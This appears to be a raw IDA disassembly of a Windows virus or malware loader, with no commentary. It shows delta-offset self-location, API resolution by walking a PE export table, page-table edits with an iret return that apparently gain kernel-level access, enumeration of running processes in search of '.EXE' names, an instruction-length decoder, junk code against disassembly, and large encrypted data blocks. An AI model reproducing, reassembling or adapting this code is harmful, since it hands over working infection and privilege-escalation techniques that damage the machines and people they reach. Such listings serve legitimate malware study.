		dd 6A17B4B4h, 3733F023h, 0BDF0A075h, 40C60E51h,	880D4A8h
		dd 0BB84FF32h, 0B0775B8h, 0D6DBF7DBh, 0F033F035h, 0FAB7D6D5h
		dd 0EFE30238h, 7755AF0Ch, 36CC112Ch, 0F73C303Eh, 0B933F005h
		dd 9D1D11B4h, 0F3BE9055h, 30DABD6Fh, 73C97B53h,	0CD33F03Fh
		dd 6285584Eh, 0EBABE3E8h, 41B8A3D2h, 0DC30486Bh, 0A9B2F035h
		dd 7E6B54CCh, 62B813CAh, 0CD3A1876h, 0CF2EF035h, 88729808h
		dd 504FF1DFh, 0DC33F024h, 904BBE89h, 0CE75BAF5h, 9629CFF5h
		dd 47341ABCh, 5BBEA9BFh, 74DD4338h, 0FE77DB8h, 0A18BF7DBh
		dd 5DB9BB69h, 0DE2FA9B0h, 0B8FCDB32h, 0DB552C6Dh, 37F63CF7h
		dd 0BEB933F0h, 159BE3Fh, 5F69DD42h, 36DF61F0h
		dd 0E98333F0h, 8BA4F305h, 10E8C0h, 0D6990000h, 0E36FFA77h
		dd 0F4C9B7E3h, 0E469EA73h, 0EEBA1CF5h, 5E3E7C62h, 0C38B58B5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C6C35545h
		dd 0DDCB47D2h, 0C08B7900h, 18A5BD83h, 750007E9h, 45BD8309h
		dd 7E91Ah, 53501974h, 7AB8C08Bh, 89000004h, 0E920F585h
		dd 359D8D07h, 0FF07EBD8h, 83585BD3h, 0E91A45BDh, 17740007h
		dd 7AB85350h, 89000004h, 0E920F585h, 0D69D8D07h, 0FF07EBD4h
		dd 6A585BD3h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 7090C356h, 0C6D9A02Fh,	58729AFDh
		dd 8AD78B66h, 0E9C08BF1h, 266h,	0D98C6660h, 0F04C1F6h
		dd 3584h, 0FF016A00h, 0E92669B5h, 0DB858D07h, 0FF07EC9Fh
		dd 0E58589D0h, 8B07E912h, 0CEFC1FEh, 6000068h, 6A006A20h
		dd 0D685702h, 0FF000100h, 0E912E595h, 32E907h, 85C60000h
		dd 7E92659h, 30DF6856h,	0B5FFA9C5h, 7E90B11h, 9FDB858Dh
		dd 0D0FF07ECh, 1B2D8589h, 858D07E9h, 7E92589h, 6A406A50h
		dd 95FF5605h, 7E91B2Dh,	0C361h,	2 dup(0)
		dd 8B520000h, 428B60D4h, 30858908h, 8B07EEB8h, 85890C42h
		dd 7EEB828h, 8910428Bh,	0EEB82C85h, 66B58D07h, 8D07EEB8h
		dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 0B830B58Bh, 858B07EEh
		dd 7EEB828h, 0B82CBD83h, 0F0007EEh, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 7EEB830h, 0B8B7B58Dh
		dd 858D07EEh, 5B8EA1h, 5A61D0FFh, 0B830858Bh, 4C207EEh
		dd 30858B00h, 8B07EEB8h, 30858900h, 0CF07EEB8h,	0
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7EEB88Dh],	esi
		mov	[ebp+7EEB889h],	eax
		lea	eax, [ebp+7E92D59h]
		mov	eax, [eax+44h]
		mov	[ebp+7EEB8C6h],	eax
		lea	esi, [ebp+7EEB8FCh]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		mov	eax, [ebp+7EEB88Dh]
		retn
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7EEB889h]
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		mov	ebx, [ebx+78h]
		add	ebx, [ebp+7EEB889h]
		mov	esi, [ebx+24h]
		add	esi, [ebp+7EEB889h]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [ebp+7EEB889h]
		add	esi, [ebp+7EEB889h]
		cld
		or	ecx, 0FFFFFFFFh


loc_5DF6EB:				; CODE XREF: sdfs____:005DF709j
					; sdfs____:005DF718j
		inc	ecx
		mov	ebx, [ebp+7EEB88Dh]
		mov	edx, [edi]
		add	edx, [ebp+7EEB889h]
		add	edi, 4


loc_5DF6FD:				; CODE XREF: sdfs____:005DF711j
		mov	al, [edx]
		test	al, al
		jz	loc_5DF716
		cmp	al, [ebx]
		jnz	loc_5DF6EB
		inc	ebx
		inc	edx
		jmp	loc_5DF6FD
; ---------------------------------------------------------------------------


loc_5DF716:				; CODE XREF: sdfs____:005DF701j
		cmp	al, [ebx]
		jnz	loc_5DF6EB
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [ebp+7EEB889h]
		mov	[ebp+7EEB88Dh],	eax
		mov	esi, eax
		mov	ecx, esi
		mov	eax, ecx
		cmp	dword ptr [ebp+7EEB8C6h], 0C0300000h
		jnz	loc_5DF757
		shr	eax, 14h
		and	eax, 0FFCh
		jmp	loc_5DF75F
; ---------------------------------------------------------------------------


loc_5DF757:				; CODE XREF: sdfs____:005DF744j
		shr	eax, 12h
		and	eax, 3FF8h


loc_5DF75F:				; CODE XREF: sdfs____:005DF752j
		mov	edi, [ebp+7EEB8C6h]
		or	dword ptr [edi+eax], 6
		mov	edx, [edi+eax]
		mov	eax, edx
		and	al, 81h
		cmp	al, 81h
		mov	eax, ecx
		jz	locret_5DF7D1
		cmp	dword ptr [ebp+7EEB8C6h], 0C0300000h
		jnz	loc_5DF797
		shr	eax, 0Ah
		and	eax, 3FFFFCh
		jmp	loc_5DF79F
; ---------------------------------------------------------------------------


loc_5DF797:				; CODE XREF: sdfs____:005DF784j
		shr	eax, 9
		and	eax, 7FFFF8h


loc_5DF79F:				; CODE XREF: sdfs____:005DF792j
		sub	eax, 40000000h
		or	dword ptr [eax], 6
		test	dword ptr [eax], 80h
		jz	locret_5DF7D1
		cmp	dword ptr [ebp+7EEB8C6h], 0C0300000h
		jz	locret_5DF7D1
		and	eax, 3FF8h
		mov	eax, [eax-3FA00000h]
		or	dword ptr [eax], 6

locret_5DF7D1:				; CODE XREF: sdfs____:005DF774j
					; sdfs____:005DF7ADj ...
		iret
; ---------------------------------------------------------------------------
		lea	eax, [ebp+7EEB834h]
		mov	[ebp+7E914F9h],	eax
		lea	eax, [ebp+7EEB8CAh]
		mov	[ebp+7E91691h],	eax
		lea	eax, [ebp+7EEB891h]
		mov	[ebp+7E92131h],	eax
		jmp	loc_5DF937
; ---------------------------------------------------------------------------
		align 4
		dd 4Eh dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5DF937:				; CODE XREF: sdfs____:005DF7F6j
		cmp	dword ptr [ebp+7E919A5h], 1
		jz	loc_5DFE7B
		pusha
		mov	ch, ah
		mov	ecx, edx
		popa
		mov	byte ptr [ebp+7E92659h], 43h
		push	0
		push	eax
		call	sub_5DF95C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DF95C	proc near		; CODE XREF: sdfs____:005DF954p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5DF95C	endp

; ---------------------------------------------------------------------------
		dd 821D5FA5h, 8C0F7BEBh, 0Bh, 6E9h, 92D8600h, 68CAA5F8h
		dd 0CDE07773h, 0BECE8B60h, 631C3A6Bh, 24348161h, 2145A786h
		dd 0F5F5660h, 0E961F1B7h, 12h, 338BE4D7h, 990E447Ah, 0F6A69413h
		dd 37F4ED61h, 0B5FF60D3h, 7E90B11h, 0DB858DF5h,	0F07EC9Fh
		dd 884h, 880F6000h, 0
; ---------------------------------------------------------------------------
		popa
		call	eax
		jl	loc_5DF9DA
		clc


loc_5DF9DA:				; CODE XREF: sdfs____:005DF9D3j
		mov	[ebp+7E91F25h],	eax
		jnb	loc_5DF9E7
		cmc


loc_5DF9E7:				; CODE XREF: sdfs____:005DF9E0j
		mov	byte ptr [ebp+7E92659h], 50h
		pusha
		jge	loc_5DFA0D
		jmp	loc_5DFA0D
; ---------------------------------------------------------------------------
		dw 0F868h
		dd 0E478C43Ah, 0E352E0CAh, 99AB9F54h, 0C15FB916h
; ---------------------------------------------------------------------------
		push	ecx


loc_5DFA0D:				; CODE XREF: sdfs____:005DF9EFj
					; sdfs____:005DF9F5j
		add	esi, 46609E42h
		popa
		call	near ptr loc_5DFA1C+1
		push	esi
		lodsd
		lodsd


loc_5DFA1C:				; CODE XREF: sdfs____:005DFA14p
		test	al, 0Fh
		mov	word ptr [eax+eax], cs
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 68Bh, 8F0F00h, 50000000h, 800F5250h,	0Fh, 0AE9h, 94E50200h
		dd 56BDED60h, 0FBD42ACh, 0E9525031h, 0Fh, 0BAD76379h, 0D9A4AE77h
		dd 6F14BCB2h, 0FDB639Dh, 5A616031h, 8B585A58h, 60042444h
		dd 310F5250h, 0B966585Ah, 8B61B211h, 50525000h,	0F616052h
		dd 8E931h, 0A0D80000h, 0BCC825A8h, 585A48CAh, 9E9310Fh
		dd 4B000000h, 1321DFBBh, 59B84EFCh, 4489585Ah, 850F0424h
		dd 5, 0C78B6660h, 0FFF85861h, 0E90B11B5h, 13E907h, 0A4880000h
		dd 0DE3D2F03h, 7A5DAC87h, 93718E4Eh, 3402EA42h,	0DB858DC8h
		dd 6A07EC9Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 2C4AC357h, 0F451A87h, 18Ch, 8E9F800h
		dd 3B000000h, 0D1744846h, 0E90C5CF7h, 5, 39F60E0Bh, 0FD0FFCEh
		dd 1B8Eh, 10E86000h, 0F0000000h, 799FF202h, 1609D34Eh
		dd 0E4812029h, 58E3D48Dh, 6160E080h, 1F810Fh, 8B0F0000h
		dd 19h,	14E9h, 69D2E800h, 0A3CB0D7Ch, 28520F86h, 14978CD5h
		dd 0A2A64858h, 4D85895Ah, 0E907E916h, 0Fh, 656C48EEh, 0B3E298ADh
		dd 7A261E71h, 0E8A90CF9h, 4, 0F08FA82Fh, 8B605250h, 310F61CBh
		dd 61605250h, 6160310Fh, 585A585Ah, 0A830F50h, 0E9000000h
		dd 5, 0F7120477h, 24448BE7h, 9E904h, 2480000h, 0BD85B8DAh
		dd 8BF07D7Eh, 8B666000h, 0BE960CBh, 70000000h, 6961DAE5h
		dd 0CFCD5E61h, 3BB8C959h, 612729AEh, 24448961h,	0FE904h
		dd 5CC0000h, 8B04DE28h,	0B55C8E13h, 3919763Ch, 870F585Fh
		dd 1Eh,	18860Fh, 13E90000h, 5C000000h, 0D3A80EE5h, 87EFA7E3h
		dd 0C681227h, 0FCBB8AEEh, 0B5FFED56h, 7E90B11h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0C0C35242h, 51780708h
		dd 12E9h, 1E84B900h, 8004643h, 0DD8D0FC7h, 9CD81FA2h, 8DC1E766h
		dd 0EC9FDB85h, 0D0FFF507h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0F8C35545h, 0F924B9CDh, 19698589h, 0C6F907E9h
		dd 0E9265985h, 5E95007h, 64000000h, 89F2BC10h, 936CE668h
		dd 0C8B0F89h, 0F000000h, 688h, 0F525000h, 81585A31h, 6F702404h
		dd 13E90E09h, 93000000h, 0FE129581h, 327CF8BAh,	0ED32BEF3h
		dd 85D22C47h, 0B5FF21CFh, 7E92669h, 0CF816060h,	58092B44h
		dd 5EAB2AB8h, 0B70F6135h, 858D61F1h, 7E93ABCh, 0B840Fh
		dd 66600000h, 0B81F6EB8h, 40250205h, 60D0FF61h,	596DBF66h
		dd 8E0F60h, 0F000000h, 85h, 89616100h, 0E9236D85h, 0A840F07h
		dd 60000000h, 8B0FD78Bh, 0
; ---------------------------------------------------------------------------
		popa
		jmp	loc_5DFE7B
; ---------------------------------------------------------------------------
		pusha
		mov	di, dx
		pusha
		jmp	loc_5DFD35
; ---------------------------------------------------------------------------
		dd 61FE7BD3h
		db 65h
; ---------------------------------------------------------------------------


loc_5DFD35:				; CODE XREF: sdfs____:005DFD2Bj
		mov	cx, 4CF5h
		popa
		popa
		pusha
		clc
		movsx	eax, dx
		popa
		push	eax
		pusha
		mov	ebx, esi
		popa
		mov	[esp], ebp
		jmp	loc_5DFD5C
; ---------------------------------------------------------------------------
		dw 0C586h
		dd 6F7C8344h, 6951D095h, 9FCEEC31h
; ---------------------------------------------------------------------------


loc_5DFD5C:				; CODE XREF: sdfs____:005DFD49j
		mov	ebp, esp
		pusha
		jge	loc_5DFD67
		push	ebx
		pop	edi


loc_5DFD67:				; CODE XREF: sdfs____:005DFD5Fj
		mov	ax, 0BA21h
		popa
		add	esp, 0FFFFFFFCh
		pusha
		jz	loc_5DFD7C
		sbb	ebx, 174BB955h


loc_5DFD7C:				; CODE XREF: sdfs____:005DFD70j
		mov	ah, 23h
		popa
		pusha
		clc
		call	$+5
		pop	edx
		sub	edx, 7EEBFCCh
		mov	dword ptr [ebp-4], 0
		cmp	dword ptr [edx+7E919A5h], 1
		jz	loc_5DFE39
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+7E91F25h]
		pop	edx
		mov	[edx+7EEBA41h],	eax
		lea	ebx, [edx+7EEBA45h]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+7E9164Dh]
		pop	edx


loc_5DFDC9:				; CODE XREF: sdfs____:005DFDF3j
					; sdfs____:005DFE27j
		push	edx
		lea	ebx, [edx+7EEBA45h]
		push	ebx
		push	dword ptr [edx+7EEBA41h]
		call	dword ptr [edx+7E9236Dh]
		pop	edx
		or	eax, eax
		jz	short loc_5DFE32
		lea	ebx, [edx+7EEBA45h]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_5DFDED:				; CODE XREF: sdfs____:005DFDFDj
		cmp	ecx, 104h
		jz	short loc_5DFDC9
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_5DFDED
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+7E93225h]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+7E93225h]
		push	eax
		call	dword ptr [edx+7E91969h]
		pop	edx
		or	eax, eax
		jnz	short loc_5DFDC9
		mov	dword ptr [ebp-4], 1
		jmp	short loc_5DFE39
; ---------------------------------------------------------------------------


loc_5DFE32:				; CODE XREF: sdfs____:005DFDE0j
		mov	dword ptr [ebp-4], 0


loc_5DFE39:				; CODE XREF: sdfs____:005DFD9Bj
					; sdfs____:005DFE30j
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5DFE4C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DFE4C	proc near		; CODE XREF: sdfs____:005DFE44p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5DFE4C	endp

; ---------------------------------------------------------------------------
		dd 0E8E0F2Dh, 60000000h, 5E9C1B2h, 37000000h, 0A1F6E66Fh
		dd 0B70F6061h, 42EFB9CFh
; ---------------------------------------------------------------------------
		fisub	dword ptr [ebx]
		popa


loc_5DFE7B:				; CODE XREF: sdfs____:005DF93Ej
					; sdfs____:005DFD21j
		mov	edx, edx
		lea	ecx, [ebp+7EEC138h]
		sub	[ebp+7E934C9h],	eax
		mov	[ebp+7E9320Dh],	ecx
		push	0
		push	ebx
		call	sub_5DFE9A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DFE9A	proc near		; CODE XREF: sdfs____:005DFE92p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5DFE9A	endp

; ---------------------------------------------------------------------------
		dw 421Eh
		dd 8B66A9C7h, 0E585C7D8h, 9407E922h, 23000068h,	0E9163185h
		dd 0B185C707h, 7E922h, 29000000h, 0E92E4185h, 6DB5FF07h
		dd 8B07E92Ch, 0E913B195h, 0A1BD0907h, 0FF07E915h, 0E9228595h
		dd 6A5F5707h, 3195FF00h, 8B07E90Ch, 4879EBC0h, 0E22E1A16h
		dd 0B38B64F9h, 93BABB48h, 0DE9B58DDh, 5E847995h, 31F0B0FAh
		dd 8866E7F5h, 6B50588Ch, 0E03C7FE3h, 54653D94h,	2BFF1109h
		dd 0FBEB02EBh, 6C18E944h, 5B180E15h, 0A49B4E31h, 0F058ACF4h
		dd 0C3CD0A29h, 4376166Ch, 0BF017F5Eh, 3E7CA423h, 733DC2B6h
		dd 73E778DDh, 3B27168Fh, 3C35668Ah, 87162FF6h, 0CB253DD4h
		dd 0AE7D64FBh, 50B333F2h, 709E15FCh, 896288Dh, 0AE8h, 0F8069000h
		dd 1B73D3B8h, 8B6F6265h, 0E91F2185h, 7E95F07h, 3F000000h
		dd 0C555AA2Ch, 0C781AD91h, 60A5h, 8E9h,	65752600h, 0FC53321Ch
		dd 17FC680Eh, 0BD290000h, 7E900F9h, 21CE805Bh, 0BF0F37FFh
		dd 0B52959C2h, 7E9097Dh, 2DAFE981h, 860F1398h, 3, 81D08B66h
		dd 1F2CCAF1h, 299D8936h, 8107E917h, 0F00E59E9h,	15B5335Bh
		dd 5107E919h, 2655BD89h, 78F07E9h, 0CE851h, 0E2F70000h
		dd 644DFC68h, 51F3BB9Fh, 858B4BCAh, 7E9253Dh, 0EF835E5Ah
		dd 0FE904h, 5D3C0000h, 0D1DBB90Ah, 4C0E010Ch, 25392F7Fh
		dd 850F4B8Fh, 0FFFFFF8Ch, 1B759D89h, 8D8D07E9h,	7EEC31Fh
		dd 2C90CE81h, 95892409h, 7E92A19h, 320D8D89h, 6A07E9h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0F42D93C3h, 0D10209F7h, 6840FF5h, 8B000000h,	0E908C9B5h
		dd 0E585C707h, 4C07E922h, 66000064h, 0C7A8C5BEh, 0E922B185h
		dd 7, 0FE900h, 0C2970000h, 0DFA00514h, 0E762B7Ch, 1C55AB7Bh
		dd 0DB5FF42h, 0F07E917h, 95FFDBB7h, 7E92285h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 42C35040h, 0F082FE8h
		dd 6AD9BFh, 0C3195FFh, 0C08B07E9h, 413F28EBh, 0F1EB9060h
		dd 92E761B0h, 172F7D17h, 0F091BEF0h, 699AFA68h,	11B98074h
		dd 0C84370Fh, 0F395B8CAh, 99DFE30Bh, 11E87A12h,	86000000h
		dd 0C9F333B2h, 8F9FD838h, 2C6AF582h, 0B7AC6127h, 21A5BD33h
		dd 815E07E9h, 0DCF390C8h, 0E1C6815Eh, 89000063h, 0E924F985h
		dd 6807h, 59F50000h, 26219529h,	34FF07E9h, 0AFB86631h
		dd 26BF5B5Ch, 812E3894h, 1ECE0DF3h, 0D08B6632h,	0D595C381h
		dd 0BF0F6FBFh, 0F6F381D0h, 8930812Eh, 0E9013D9Dh, 0E1C8907h
		dd 0AE960h, 0EF2F0000h,	0CDEE79FFh, 0ABD4755Fh,	0C2B70F61h
		dd 8902E983h, 0E920D1B5h, 89494907h, 0E92A719Dh, 0B4F98107h
		dd 0FFFFF9Ch, 0FFFFA185h, 0B1DC80FFh, 1C8E9h, 8	dup(41888800h)
		dd 4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 300h, 14h dup(0)
		dd 8C200h, 80757166h, 0FEh, 11h	dup(0)
		dd 353E900h, 0E8550000h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7EEC5C2h
		pusha
		mov	dword ptr [ebp+7EEC50Fh], 0
		cmp	word ptr [esi],	0A166h
		jnz	loc_5E03A8
		mov	dword ptr [ebp+7EEC513h], 6
		jmp	loc_5E03CC
; ---------------------------------------------------------------------------


loc_5E03A8:				; CODE XREF: sdfs____:005E0393j
		lea	eax, [ebp+7EEC517h]
		push	eax
		lea	eax, [ebp+7EEC567h]
		push	eax
		push	esi
		push	0
		call	sub_5E03DB
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+7EEC513h],	eax


loc_5E03CC:				; CODE XREF: sdfs____:005E03A3j
		popa
		add	esi, [ebp+7EEC513h]
		mov	eax, [ebp+7EEC50Fh]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5E03DB	proc near		; CODE XREF: sdfs____:005E03B9p

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_7EEC507	= dword	ptr  7EEC50Fh

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5E0408
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5E0414
; ---------------------------------------------------------------------------


loc_5E0408:				; CODE XREF: sub_5E03DB+16j
		and	[ebp+var_3], 0
		and	[ebp+var_2], 0
		mov	[ebp+var_4], 4


loc_5E0414:				; CODE XREF: sub_5E03DB+28j
		push	ebx
		push	esi
		push	edi


loc_5E0417:				; CODE XREF: sub_5E03DB+91j
					; sub_5E03DB+ADj ...
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5E042A:				; CODE XREF: sub_5E03DB+76j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7EEC679h
		lea	ebp, [ebp+7EEC4EFh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5E0457
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5E042A


loc_5E0457:				; CODE XREF: sub_5E03DB+6Bj
		cmp	cl, 0Bh
		jz	loc_5E04B4
		cmp	al, 66h
		jnz	loc_5E0495
		cmp	[ebp+var_5], 0
		jnz	loc_5E0417
		cmp	[ebp+var_3], 0
		mov	[ebp+var_5], 1
		jnz	loc_5E048D
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		jmp	loc_5E0417
; ---------------------------------------------------------------------------


loc_5E048D:				; CODE XREF: sub_5E03DB+9Fj
		and	[ebp+var_3], 0
		mov	[ebp+var_4], 4


loc_5E0495:				; CODE XREF: sub_5E03DB+87j
		cmp	al, 67h
		jnz	loc_5E0417
		cmp	[ebp+var_6], 0
		jnz	loc_5E0417
		xor	[ebp+var_2], 1
		mov	[ebp+var_6], 1
		jmp	loc_5E0417
; ---------------------------------------------------------------------------


loc_5E04B4:				; CODE XREF: sub_5E03DB+7Fj
		mov	ebx, [ebp+arg_C]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5E04E0
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5E04E5
; ---------------------------------------------------------------------------


loc_5E04E0:				; CODE XREF: sub_5E03DB+E4j
		movzx	edi, al
		shr	edi, 1


loc_5E04E5:				; CODE XREF: sub_5E03DB+100j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7EEC731h
		lea	ebp, [ebp+7EEC3EFh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp+var_7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp+var_6], bl
		jz	loc_5E0667
		mov	ebx, [ebp+arg_4]
		mov	byte ptr [ebp+arg_0+3],	1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	byte ptr [ebp+arg_C+3],	dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	[ebp+var_5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5E05AB
		dec	ecx
		jz	loc_5E058E
		dec	ecx
		jnz	loc_5E05FE
		cmp	[ebp+var_2], 0
		jnz	loc_5E05FA
		cmp	[ebp+var_5], 0
		jz	loc_5E056D
		mov	byte ptr [ebp+arg_0+3],	2


loc_5E056D:				; CODE XREF: sub_5E03DB+188j
		add	byte ptr [ebp+arg_0+3],	4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7EEC7BDh
		mov	[ebp+arg_7EEC507], 1
		pop	ebp
		jmp	loc_5E05FE
; ---------------------------------------------------------------------------


loc_5E058E:				; CODE XREF: sub_5E03DB+16Dj
		cmp	[ebp+var_2], 0
		jnz	loc_5E05D8
		cmp	[ebp+var_5], 0
		jz	loc_5E05D8
		mov	byte ptr [ebp+arg_0+3],	2
		jmp	loc_5E05D8
; ---------------------------------------------------------------------------


loc_5E05AB:				; CODE XREF: sub_5E03DB+166j
		cmp	[ebp+var_2], 0
		jnz	loc_5E05F1
		cmp	[ebp+var_5], 0
		jz	loc_5E05E0
		movzx	ecx, byte ptr [ebp+arg_C+3]
		mov	edx, [ebp+arg_4]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5E05D8
		mov	byte ptr [ebp+arg_0+3],	cl


loc_5E05D8:				; CODE XREF: sub_5E03DB+1B7j
					; sub_5E03DB+1C1j ...
		inc	byte ptr [ebp+arg_0+3]
		jmp	loc_5E05FE
; ---------------------------------------------------------------------------


loc_5E05E0:				; CODE XREF: sub_5E03DB+1DEj
		cmp	dl, 5
		jnz	loc_5E05FE
		mov	byte ptr [ebp+arg_0+3],	dl
		jmp	loc_5E05FE
; ---------------------------------------------------------------------------


loc_5E05F1:				; CODE XREF: sub_5E03DB+1D4j
		cmp	dl, 6
		jnz	loc_5E05FE


loc_5E05FA:				; CODE XREF: sub_5E03DB+17Ej
		mov	byte ptr [ebp+arg_0+3],	3


loc_5E05FE:				; CODE XREF: sub_5E03DB+174j
					; sub_5E03DB+1AEj ...
		dec	byte ptr [ebp+arg_0+3]
		jz	loc_5E062C
		movzx	ecx, byte ptr [ebp+arg_0+3]
		mov	[ebp+arg_0], ecx


loc_5E060E:				; CODE XREF: sub_5E03DB+249j
		movzx	esi, byte ptr [ebp+arg_C+3]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		inc	byte ptr [ebp+arg_C+3]
		dec	[ebp+arg_0]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5E060E
		mov	esi, edx


loc_5E062C:				; CODE XREF: sub_5E03DB+226j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5E0661
		cmp	edi, 7Fh
		ja	loc_5E0661
		test	bl, 38h
		jnz	loc_5E0661
		cmp	[ebp+var_7], 0
		jz	loc_5E065B
		movzx	eax, [ebp+var_4]
		jmp	loc_5E065E
; ---------------------------------------------------------------------------


loc_5E065B:				; CODE XREF: sub_5E03DB+271j
		push	1
		pop	eax


loc_5E065E:				; CODE XREF: sub_5E03DB+27Bj
		mov	[ebp+var_1], al


loc_5E0661:				; CODE XREF: sub_5E03DB+255j
					; sub_5E03DB+25Ej ...
		mov	dl, byte ptr [ebp+arg_C+3]
		mov	bl, [ebp+var_6]


loc_5E0667:				; CODE XREF: sub_5E03DB+136j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5E0692
		dec	eax
		dec	eax
		jz	loc_5E0688
		and	bl, 7
		add	[ebp+var_1], bl
		jmp	loc_5E069A
; ---------------------------------------------------------------------------


loc_5E0688:				; CODE XREF: sub_5E03DB+29Cj
		mov	al, [ebp+var_3]
		add	al, 6
		jmp	loc_5E0697
; ---------------------------------------------------------------------------


loc_5E0692:				; CODE XREF: sub_5E03DB+294j
		mov	al, [ebp+var_3]
		add	al, 4


loc_5E0697:				; CODE XREF: sub_5E03DB+2B2j
		add	[ebp+var_1], al


loc_5E069A:				; CODE XREF: sub_5E03DB+2A8j
		mov	al, [ebp+var_1]
		dec	[ebp+var_1]
		test	al, al
		jz	loc_5E06C2
		movzx	ecx, [ebp+var_1]
		inc	ecx


loc_5E06AD:				; CODE XREF: sub_5E03DB+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5E06AD


loc_5E06C2:				; CODE XREF: sub_5E03DB+2C7j
		pop	edi
		pop	esi
